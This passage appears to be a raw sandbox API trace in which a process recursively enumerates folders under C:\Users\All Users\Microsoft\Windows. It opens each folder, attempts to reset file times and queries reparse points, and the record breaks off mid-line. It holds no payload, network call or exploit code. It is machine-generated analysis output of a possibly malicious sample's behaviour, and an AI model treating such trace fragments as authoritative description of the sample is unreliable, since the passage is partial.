lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.857] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd5be7172, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AIT", cAlternateFileName="")) returned 1 [0091.857] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb6b8 [0091.857] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\ait"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd5be7172, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.858] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\ait"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0091.858] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0091.858] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.858] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0091.859] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.859] NtClose (Handle=0x17c) returned 0x0 [0091.859] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb6b8) returned 1 [0091.859] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb6b8 [0091.859] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb5a8 [0091.860] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.860] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AIT\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9180 [0091.860] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd5be7172, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.860] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd5be7172, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.860] GetLastError () returned 0x12 [0091.860] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AIT\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f40 [0091.860] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0091.860] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd5be7172, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.860] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd5be7172, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.860] GetLastError () returned 0x12 [0091.861] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.861] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0091.861] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb5a8) returned 1 [0091.861] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb6b8) returned 1 [0091.861] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x283ea490, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x9b86da60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9b86da60, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Caches", cAlternateFileName="")) returned 1 [0091.861] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeviceMetadataStore", cAlternateFileName="")) returned 1 [0091.861] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb6b8 [0091.861] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore" (normalized: "c:\\users\\all users\\microsoft\\windows\\devicemetadatastore"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.862] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore" (normalized: "c:\\users\\all users\\microsoft\\windows\\devicemetadatastore"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0091.862] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0091.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.862] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0091.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.863] NtClose (Handle=0x15c) returned 0x0 [0091.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb6b8) returned 1 [0091.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb6b8 [0091.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb5a8 [0091.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.864] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f40 [0091.864] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.864] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9dbcac, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0091.864] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9dbcac, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0091.864] GetLastError () returned 0x12 [0091.864] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9180 [0091.864] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0091.864] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.864] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9dbcac, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0091.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb9e8 [0091.865] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\en-US" (normalized: "c:\\users\\all users\\microsoft\\windows\\devicemetadatastore\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9dbcac, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.865] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\en-US" (normalized: "c:\\users\\all users\\microsoft\\windows\\devicemetadatastore\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0091.865] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0091.865] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.865] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0091.866] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.866] NtClose (Handle=0x15c) returned 0x0 [0091.866] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb9e8) returned 1 [0091.866] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb9e8 [0091.866] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fba70 [0091.866] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1340e10 [0091.867] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb9e8) returned 1 [0091.867] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135a358 [0091.867] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0091.867] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9dbcac, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.869] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2db04ce, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2db04ce, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c0e93d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3736, dwReserved0=0x0, dwReserved1=0x0, cFileName="34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms", cAlternateFileName="")) returned 1 [0091.869] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb9e8 [0091.869] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb9e8) returned 1 [0091.869] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb9e8 [0091.870] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb9e8) returned 1 [0091.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb9e8 [0091.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135a568 [0091.870] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fba70) returned 1 [0091.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7c78 [0091.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135a460 [0091.871] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb9e8) returned 1 [0091.871] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f15ee9d, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f15ee9d, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7c34f7b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1af79, dwReserved0=0x0, dwReserved1=0x0, cFileName="63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms", cAlternateFileName="")) returned 1 [0091.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb9e8 [0091.872] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb9e8) returned 1 [0091.872] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb9e8 [0091.872] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb9e8) returned 1 [0091.872] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb9e8 [0091.872] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7c98 [0091.873] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1367a28 [0091.873] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb9e8) returned 1 [0091.873] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f15ee9d, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f15ee9d, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7c34f7b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1af79, dwReserved0=0x0, dwReserved1=0x0, cFileName="63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms", cAlternateFileName="")) returned 0 [0091.873] GetLastError () returned 0x12 [0091.873] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9100 [0091.874] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0091.874] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9dbcac, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.874] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2db04ce, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2db04ce, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c0e93d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3736, dwReserved0=0x0, dwReserved1=0x0, cFileName="34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms", cAlternateFileName="")) returned 1 [0091.874] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f15ee9d, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f15ee9d, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7c34f7b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1af79, dwReserved0=0x0, dwReserved1=0x0, cFileName="63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms", cAlternateFileName="")) returned 1 [0091.874] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f15ee9d, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f15ee9d, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7c34f7b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1af79, dwReserved0=0x0, dwReserved1=0x0, cFileName="63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms", cAlternateFileName="")) returned 0 [0091.874] GetLastError () returned 0x12 [0091.874] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x135a358) returned 1 [0091.874] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0091.874] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x135a568) returned 1 [0091.875] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1340e10) returned 1 [0091.875] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9dbcac, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0091.875] GetLastError () returned 0x12 [0091.875] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.875] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0091.875] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb5a8) returned 1 [0091.875] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb6b8) returned 1 [0091.875] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRM", cAlternateFileName="")) returned 1 [0091.876] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb6b8 [0091.876] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\DRM" (normalized: "c:\\users\\all users\\microsoft\\windows\\drm"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.877] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\DRM" (normalized: "c:\\users\\all users\\microsoft\\windows\\drm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0091.877] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0091.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.877] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0091.878] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.878] NtClose (Handle=0x17c) returned 0x0 [0091.878] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb6b8) returned 1 [0091.878] RtlAllocateHeap 